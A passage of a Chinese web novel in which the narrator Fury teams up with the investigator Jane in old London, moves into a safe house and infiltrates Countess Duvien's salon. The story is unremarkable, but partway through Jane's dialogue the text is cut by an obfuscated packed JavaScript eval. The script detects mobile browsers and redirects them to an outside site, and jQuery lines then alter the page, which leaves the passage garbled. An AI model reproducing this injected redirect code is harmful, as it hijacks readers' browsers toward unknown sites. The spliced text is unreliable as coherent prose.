“我擅长在阴影中行走,和底层的人们交流,找到那些被刻意掩埋的‘真相’。”
“但我需要一双眼睛。”
“一双能理解那些恐惧,愤怒和绝望,能走进那些沙龙,茶会,慈善晚宴,而不被立刻当成威胁的眼睛。”
她的目光锐利地看着我,“弗瑞小姐,你曾经是那个体面世界的一部分。你知道它的规则,它的语言,它的虚伪。更重要的是……”
她停顿了一下,眼神中闪过一丝复杂难辨的情绪,带着……一种罕见的坦诚。
她指了指我墙上那些剪报,“你不愿‘视而不见’的固执,很重要。”
阁楼里只剩下雨声和我们两人的呼吸声。
她的话语像惊雷在我脑海中炸响。
她不是在招募一个助手,她在邀请一个搭档。
一个共同踏入战场,为艾米安·丽德,也为无数个“艾米安”而战的搭档。
“你想让我做什么?”我的声音有些沙哑,但异常清晰。
“成为我的眼睛和耳朵,在那些我无法轻易踏足的地方。”简语速加快,带着行动前的紧迫感。
“接近杜维恩的圈子,他的夫人,他的秘书,他常去的俱乐部成员。倾听那些贵妇人的‘闲谈’,观察那些仆役间交换的眼神。找出过去的受害者,那些被钱和权堵住嘴的女孩。找到艾米安被威胁,被骚扰的具体证据。”
“书信,目击者,任何能钉死他的东西。”
“当然,不止这个案子,还有以后,其他相关需要的时候,你要深入所谓的上层社会。”
她描述的战场没有硝烟,却同样致命。
那是我熟悉的“体面世界”,此刻却成了需要渗透的敌营。
“这很危险,弗瑞。”简的声音沉下来,带着不容忽视的警告,“我们要面对的不再是霍金斯那种小角色。杜维恩根基深厚,手段阴狠,而且非常警觉。一旦发现你在调查……”
“我知道。”我打断她,迎上她的目光。
“但我更知道,如果没有人站出来,艾米安·丽德就会被彻底碾碎。还会有下一个艾米安。下下一个。”
我深吸一口气,“告诉我该怎么做,简。”
当我说出她的名字,而不是“里斯克小姐”时,她的眼神似乎微微闪动了一下。
“很好。”她点头,那是一种正式的接纳。
“首先,你不能继续住在这里。太容易被找到,也太不安全。收拾东西,只带必需品。麻雀一小时后会来帮你处理后续。”
“去哪里,查令十字街?”
“不,不是那,在圣比得里,隐蔽,顶楼,邻居大多是艺术家和怪人,不会多管闲事。”她顿了顿,“那里是安全屋。你会有自己的房间。”
合租?安全屋?这远超我的预想。
“租金呢?”我下意识地问。
简的嘴角似乎极其轻微地向上牵动了一下,快得难以捕捉。
“你负责整理情报,管理线人,学习必要的技能,以及在必要时,成为那把刺向伪善的‘社交匕首’。这就是你的租金。”
她的目光扫过我,“另外,保管好你的赔偿金。那是你的退路。任何时候,如果你想离开,或者我认为你该离开了,这笔钱能让你安全地消失,开始新的生活。”
“安全地消失”。
她再次强调了选择的代价与自由。
“我明白了。”
收拾的过程异常迅速。衣物,笔记,家族的胸针,几本珍爱的书(包括那本讽刺的《淑女礼仪指南》)。
简提着我的东西,带着我在伦敦迷宫般的街道中穿行,最终停在一栋看起来有些年头的红砖公寓楼后巷。
这里比我的旧公寓地段好得多,但也更安静,行人稀少。我们从一扇不起眼的后门进入,爬上一段狭窄的楼梯。
她打开那扇厚重的木门。
门内并非我想象的冰冷堡垒,而是一个……相当宽敞,格局奇特的公寓。
有点类似她在查令十字街12号的空间。
客厅很大,但光线被厚重的深色窗帘遮去大半。装满各种文档的书架,老旧的皮质沙发,巨大的信息墙。
但沉默了生活化的,杂乱无序的东西。
“这里……是你的家?”我有些迟疑地问。
“是落脚点。”简纠正道,脱下风衣挂在门后衣帽架上,露出里面贴身的深色高领毛衣和工装裤。
她把我的东西递给我,然后指向客厅另一边一扇关着的门,“那是你的房间。浴室在走廊尽头。厨房很小,但能用。”
“查令十字街12号,是我用来接见线人和委托的地方,以后你也会在那工作。”
她走到书架前,抽出一个厚厚的硬皮笔记本,放在我的手心里。
“这是你的第一课。”
她指着笔记本,“里面是一些我记的基本的知识,还有……一些你需要认识的‘朋友’和‘敌人’的面孔及特征。”
“尽快看完,为了你的安全。”
“明天,我将会带着你了解我们的第一个目标,加德·杜维恩。”
“现在,弗瑞,欢迎你的到来和加入。”简郑重地说着,并给了我一个拥抱。
窗外,伦敦的雨幕笼罩着千家万户,无数悲欢离合在暗处上演。
伦敦又开始下雨了。
公寓里,简那本厚重的手册摊开在我的膝头,我的心思却早已飞向即将到来的战场。
伊莎贝尔·杜维恩伯爵夫人每周五下午的沙龙。
作为议员家的女儿,作为本家族的女性,作为弗瑞·本,伯爵夫人不会拒绝我参与其沙龙的请求。
伊莎贝尔是位美丽忧郁的女性,出身一个急于攀附权贵但已没落的子爵家庭,被迫嫁给了大她足足二十岁的中年的杜维恩伯爵。
作为杜维恩夫人,她拥有标准,体面和地位,也仅此而已。
她几乎从不在丈夫的公开政治场合露面,唯一的社交就是主持或参加这些女性小圈子的聚会,以满足丈夫的政治需求。
“记住,弗瑞,”简的声音打断我的思绪,她正利落地提我准备防晒喷雾。
“这位夫人是你的切入点,但不是唯一目标。观察所有人,倾听所有‘无害’的闲谈。别急着暴露意图,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973583|177843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
先赢得她们的信任,或者至少,让她们习惯你的存在。”
她把喷雾递给我。
“至于我,”她的眼神投向窗外泥泞的街道,“该去听听麻雀的朋友们今天在码头酒馆里又听到了什么新鲜事。”
我明白她的意思。
简会潜入那些我无法踏足的世界,从车夫,洗衣妇,甚至街头混混那里,挖掘杜维恩日常轨迹中不寻常的蛛丝马迹。
她的战场在泥泞的后巷和烟雾缭绕的陋室。
“小心。”我接过防身喷雾低声说。
这个词在空旷的公寓里显得格外清晰。
简的动作顿了一下,没有回头,只是微微颔首。“你也一样。”
防身喷雾被我放进了精致的手袋,并伴随着我去参加那场沙龙。
“我没法和你一起,所以你得学会自保。”
简这么说着,并且在有限的时间里训练我用各种东西做武器。
虽然在我写这个故事的时候,我已经可以自如的使用一些武器了,但是当时,作为一名刚刚背离体面世界的小姐,很遗憾,我尚且不能做到。
“无论如何,你的安全是第一的,剩下的,交给我。”
简是这么说的。
……
杜维恩府邸位于梅费尔区最昂贵的街区之一。巨大的雕花铁门后,是修剪得一丝不苟的草坪和一座傲慢的维多利亚风格宅邸。
空气里弥漫着金钱,权势和一种令人窒息的古老的沉寂。
我被一位表情刻板的男管家引领着,穿过挂着各种油画和藏品的长廊,进入日光室。
一切都完美无瑕,精致,昂贵。
水晶吊灯高悬,瓷器在银质托盘上熠熠生辉,空气里浮动着香水,红茶和新鲜糕点的甜腻气息。白手套的侍者安静的在远处候着,六七个衣着华美的贵妇散坐在法式扶手椅和小沙发上轻声低语。
贵妇茶会,这才是我母亲曾经日常带着我出席的场合。
我的出现引起了一阵短暂而克制的瞩目。
她们的目光拂过我的衣着。一件我特意挑选的,剪裁精良但颜色保守的香奈儿套裙,确保我融入其中而不突兀,最终落在我胸前戴着的家徽上。
一个曾经的体面家族的女儿,叛逆出走后遭遇不幸,现在乖顺地试图重新挤回边缘……这是她们眼中我的故事。
“弗瑞小姐,欢迎。”一个轻柔的声音响起。
伊莎贝尔·杜维恩夫人坐在主位的沙发上。她确实美得惊人,皮肤白皙光滑,浅金色的头发温婉地挽在脑后,露出一段优美的天鹅颈。她穿着一件淡蓝色的丝绒长裙,衬得她愈发纤细脆弱。
然而,最令人印象深刻的,是她那双眼睛,大而深邃的蓝色眼眸,本该顾盼生辉,此刻却盛满了浓得化不开的忧郁和疲惫。
她的笑容挂在嘴角,是日复一日形成的麻木模式。
“感谢您的邀请,杜维恩夫人。”
我微微屈膝,行了一个无可挑剔的屈膝礼,声音是带着一丝恰到好处感激的柔和。
扮演一个渴望被接纳的,略有故事的“淑女”,这是我此刻的武器。